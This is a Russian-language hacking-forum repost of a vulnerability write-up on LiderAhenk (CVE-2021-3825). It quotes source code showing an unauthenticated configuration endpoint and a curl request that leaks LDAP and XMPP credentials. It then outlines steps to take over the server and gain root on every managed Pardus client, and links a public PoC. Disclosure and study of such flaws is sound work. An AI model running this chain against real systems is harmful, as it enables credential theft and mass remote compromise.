• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья LiderAhenk 0day – Все ваши клиенты PARDUS принадлежат мне (CVE-2021-3825)

BLUA

CPU register
Пользователь
Регистрация
24.03.2022
Сообщения
1 189
Решения
1
Реакции
794
ОРИГИНАЛ: https://pentest.blog/liderahenk-0day-all-your-pardus-clients-belongs-to-me/

LiderAhenk - это программная система с открытым исходным кодом, которая обеспечивает централизованное управление, мониторинг и контроль систем и пользователей в корпоративной сети.
В этой статье вы увидите, насколько плохо это может быть, когда у вас есть критическая уязвимость безопасности в вашей централизованной системе управления клиентами.

Архитектура и наша цель​

Программное обеспечение LiderAhenk состоит из 2 компонентов. Slider и Ahenk.

Lider - это основной компонент, с помощью которого вы управляете своей организацией. Это бизнес-уровень проекта LiderAhenk, работающего на контейнере Karaf. Он содержит основные функциональные возможности (такие как LDAP-клиент, диспетчер задач, клиент XMPP), основные сервисы (такие как служба базы данных плагинов, служба журналов) и предоставляет API для других подключаемых модулей/пакетов.

Ahenk - это агент Linux, написанный на Python, который позволяет руководителям удаленно управлять клиентами и отслеживать их.

Связь между агентом Ahenk и сервером Lider осуществляется с помощью службы XMPP. Всякий раз, когда сервер централизованного управления Leader захочет связаться с Ahenk, например, установить пакет на удаленном клиенте, Ahenk получит сообщение по протоколу XMPP и выполнит задачу.

Таким образом, все это означает, что мы должны настроить компонент Slider на организационный уровень доступа. Если мы каким-то образом найдем способ взломать службу Lider, мы сможем злоупотреблять функциями централизованной системы управления клиентами, такими как удаленное развертывание и т.д.

Анализ уязвимости​

После нашего первоначального анализа мы увидели, что Slider имеет несколько поверхностей атаки. Одним из очевидных был HTTP-сервис, где у нас есть огромное Java-приложение.

Я потратил пару часов на понимание всей архитектуры. Когда у меня было достаточно информации о дизайне Java-проекта и о том, как он взаимодействует с другими сервисами, я начал просматривать исходный код.

Одна из моих отправных точек - посмотреть, какие сервисы доступны без сеансов. В следующих разделах кода показаны маршруты, к которым мы можем получить доступ без учетных данных.

Код:
protected void configure(HttpSecurity http) throws Exception {
    ((HttpSecurity)((HttpSecurity)((FormLoginConfigurer)((FormLoginConfigurer)((HttpSecurity)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)((ExpressionUrlAuthorizationConfigurer.AuthorizedUrl)((HttpSecurity)http
      .csrf().disable())
      .authorizeRequests()
      .antMatchers(new String[] {
          "/forgot_password/**", "/lider/pages/**", "/webfonts/**", "/resources/**", "/css/**", "/js/**", "/assets/**", "/img/**", "/images/**", "/jqwidgets/**",
          "/lider/config/**" })).permitAll()
      .antMatchers(new String[] { "/" })).hasAnyRole(new String[] { "USER" }).anyRequest()).authenticated()
      .and())
      .formLogin()
      .loginPage("/login").permitAll())
      .successHandler(this.authenticationSuccessHandler))
      .and())
      .logout()
      .addLogoutHandler(logoutHandler())
      .invalidateHttpSession(true)
      .deleteCookies(new String[] { "JSESSIONID" }).clearAuthentication(true)
      .permitAll()
      .and())
      .exceptionHandling();
  }

Вы бы видели то, что я увидел с первого взгляда. Wtf - это /lider/config/** и почему он находится в списке разрешить All()?

Код:
➜  MDISEC curl http:/192.168.179.134:8080/lider/config/

{"timestamp":"2021-09-21T08:35:30.832+0000","status":404,"error":"Not Found","message":"No message available","path":"/lider/config/"}

Как вы можете видеть выше, первоначальная попытка найти больше информации с помощью подхода "черного ящика" не очень хорошо сработала. По этой причине я сосредоточился на следующем разделе кода, где размещен соответствующий класс.

Код:
@RequestMapping({"/lider/config"})
public class ConfigController {
  Logger logger = LoggerFactory.getLogger(tr.org.lider.controllers.ConfigController.class);
 
  @Autowired
  ConfigurationService configurationService;
 
  @Autowired
  LDAPServiceImpl ldapService;
 
  @RequestMapping(method = {RequestMethod.POST}, value = {"/save"}, produces = {"application/json"})
  public Boolean saveConfigParams(ConfigParams configParams) throws Exception {
    if (this.configurationService.isConfigurationDone().booleanValue())
      return null;
    configParams.setDefaultParams();
    try {
      ObjectMapper mapper = new ObjectMapper();
      String jsonString = mapper.writeValueAsString(configParams);
      this.configurationService.save(new ConfigImpl("liderConfigParams", jsonString));
      this.logger.info("Configuration settings are completed and saved to database.");
      return Boolean.valueOf(true);
    } catch (JsonProcessingException e) {
      e.printStackTrace();
      this.logger.error("Error occured while converting ConfigParams object to json string: " + e.getMessage());
      return Boolean.valueOf(false);
    }
  }
 
  @RequestMapping(method = {RequestMethod.GET}, value = {"/configurations"}, produces = {"application/json"})
  public ConfigParams getConfigParams() {
    return this.configurationService.getConfigParams();
  }
}

Я действительно помню момент, когда я увидел этот код. Особенно линия между 29-32.

Мы нашли то, что нам было нужно! Конечная точка, где приложение предоставляет эти конфигурации Slider. И (не), к счастью, для этого НЕ требуется действительный сеанс.

Код:
➜  MDISEC curl http://192.168.179.134:8080/lider/config/configurations | jq

{
  "liderLocale": "tr",
  "ldapServer": "192.168.179.134",
  "ldapPort": "389",
  "ldapUsername": "cn=admin,dc=liderahenk,dc=org",
  "ldapPassword": "qwe123",
  "ldapRootDn": "dc=liderahenk,dc=org",
  "ldapUseSsl": false,
  "ldapSearchAttributes": "cn,objectClass,uid,liderPrivilege",
  "ldapAllowSelfSignedCert": false,
  "ldapMailNotifierAttributes": "cn, mail, departmentNumber, uid",
  "ldapEmailAttribute": "mail",
  "agentLdapBaseDn": "ou=Agents,dc=liderahenk,dc=org",
  "agentLdapIdAttribute": "cn",
  "agentLdapJidAttribute": "uid",
  "agentLdapObjectClasses": "pardusDevice,device",
  "userLdapBaseDn": "ou=Users,dc=liderahenk,dc=org",
  "userLdapUidAttribute": "uid",
  "userLdapPrivilegeAttribute": "liderPrivilege",
  "userLdapObjectClasses": "pardusAccount,pardusLider",
  "userAuthorizationEnabled": true,
  "groupLdapObjectClasses": "groupOfNames",
  "roleLdapObjectClasses": "sudoRole",
  "userLdapRolesDn": "ou=Role,ou=Groups,dc=liderahenk,dc=org",
  "groupLdapBaseDn": "ou=Groups,dc=liderahenk,dc=org",
  "userGroupLdapBaseDn": "ou=User,ou=Groups,dc=liderahenk,dc=org",
  "ahenkGroupLdapBaseDn": "ou=Agent,ou=Groups,dc=liderahenk,dc=org",
  "xmppHost": "127.0.0.1",
  "xmppPort": 5222,
  "xmppUsername": "lider_sunucu",
  "xmppPassword": "qwe123",
  "xmppResource": "Smack",
  "xmppServiceName": "im.liderahenk.org",
  "xmppMaxRetryConnectionCount": 5,

План эксплуатации и PoC​

1. Воспользоваться уязвимостью и получить учетные данные LDAP
2. Проверить учётные данные в службе LDAP, которая запущена на сервере Slider
3. Извелечь пользователей LDAP, у которых есть атрибут ROLE_ADMIN. Пароли в LDAP хранятся хранятся в виде обычного текста
4. Войти в сервис Liderconsole
5. Извлечь активные компьютеры Pardus из API
6. Злоупотребление функцией Lider "удаленное выполнение скрипта на компьютере"
7. Получение ROOT на каждой отдельной машины, подключенной к программному обеспечению централизованного управления Lider

PoC code:
https://github.com/mdisec/pardus-liderahenk-0day-RCE

Video:
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх